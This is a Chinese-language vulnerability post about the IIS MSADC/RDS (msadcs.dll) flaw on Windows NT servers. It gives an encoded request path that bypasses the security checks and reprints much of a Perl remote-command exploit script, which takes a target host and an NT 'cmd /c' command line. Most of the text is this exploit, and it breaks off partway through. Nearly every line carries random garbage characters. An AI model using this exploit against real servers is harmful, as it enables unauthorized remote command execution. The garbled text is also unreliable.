IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
LlG~aGhel @3b|jJyf 涉及程序:
CiGN?1| Microsoft NT server
3
,?==? Aw *:5 I[ 描述:
k)R>5?_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
k|}S K9 "A?_)=zZ 详细:
>zDnJb&"& 如果你没有时间读详细内容的话,就删除:
tY=n("=2 c:\Program Files\Common Files\System\Msadc\msadcs.dll
SbW6O_ 有关的安全问题就没有了。
ba O(E-ox~q 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
sIJ37;ZA ;"/ " 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
[0G>=h@u 关于利用ODBC远程漏洞的描述,请参看:
+2ih!$T;7> oFRb+H(E http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /aB9pD+% ~ Qt$) 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
~:srm#IX http://www.microsoft.com/security/bulletins/MS99-025faq.asp OAQ'/{~7 ,FPgbs 这里不再论述。
vv,(ta@t2 $'Hg}|53 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
TGz5t$]I ?iBHJ{ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2v<[XNX 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
b#C"rTw 4&/-xg87( t%AW0#TZ #将下面这段保存为txt文件,然后: "perl -x 文件名"
*7I=vro Ucnit^, #!perl
!Jj=H()} #
YtrMJ" # MSADC/RDS 'usage' (aka exploit) script
VRoeq { #
G#! j` # by rain.forest.puppy
'4A8\&lQO #
cZ7b$MZ%9 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
EF{_-FXY # beta test and find errors!
-3r&O: !lF|90= use Socket; use Getopt::Std;
6X:-Z3 getopts("e:vd:h:XR", \%args);
LV 94i !m1pL0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
T`=N^Ca1!` )N2yhdcqI if (!defined $args{h} && !defined $args{R}) {
.n`MPx' print qq~
k>Qr14F Usage: msadc.pl -h <host> { -d <delay> -X -v }
pDlh^?cux -h <host> = host you want to scan (ip or domain)
V@K}'f~ -d <seconds> = delay between calls, default 1 second
x9HA^Rj4- -X = dump Index Server path table, if available
b`K~l'8 -v = verbose
T+2I:W% -e = external dictionary file for step 5
~4*9w3t
q6{ %vd Or a -R will resume a command session
p$@=N6)I.k GKPqBi[rO ~; exit;}
/kVy#sT| ?lU]J] $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}~-)31e'` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
\'"q6y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
-zz9k=q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
][bz5aV $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_ #l b\ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
);;UNO21+ Z-H Kdv!d if (!defined $args{R}){ $ret = &has_msadc;
#
dxlU/* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
g m], s:cS 9A8 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0tB9X9 :, . "cmd /c ";
S-yd-MtQp $in=<STDIN>; chomp $in;
:"O=/p+*Us $command="cmd /c " . $in ;
e= "/oo a+mq=K if (defined $args{R}) {&load; exit;}
,lA J{5\# N
&p=4 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
aM.l+DP &try_btcustmr;
foE2rV/Y :ykZ7X& print "\nStep 2: Trying to make our own DSN...";
i`8!Vm &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
:eQxdi' 3g2t{% print "\nStep 3: Trying known DSNs...";
x)vYc36H &known_dsn;
{Rw~G&vQ 8gBqur{ print "\nStep 4: Trying known .mdbs...";
_I|wp<R &known_mdb;
S_2I8G^A e@^}y4
C if (defined $args{e}){
uNhAfZ print "\nStep 5: Trying dictionary of DSN names...";
-3_kS/ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
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